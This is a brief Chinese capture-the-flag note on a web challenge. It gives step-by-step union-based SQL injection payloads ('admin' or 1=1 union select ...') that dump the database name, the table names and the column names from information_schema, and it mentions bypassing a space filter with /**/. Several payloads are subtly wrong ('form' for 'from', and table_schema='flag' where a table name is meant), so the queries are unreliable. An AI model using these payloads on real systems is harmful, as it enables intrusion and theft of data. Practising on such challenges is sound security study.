SQL注入先找到注入点,然后测试字段:admin' or 1=1 union select 1,2,3 <!-- 该题过滤了空格符,所以用/**/做了绕过
有回显则爆库名:admin' or 1=1 union select 1,database(),3
接着爆库内表:admin' or 1=1 union select 1,group_concat(table_name),3 form information_schema.tables where table_schema='web2' <!-- web2为第二部爆出的库名
接着爆表内字段:admin' or 1=1 union select 1,group_concat(column_name),3 form information_schema.columns where table_schema='flag' <!-- flag为第三步爆出的字段(为空直接查看)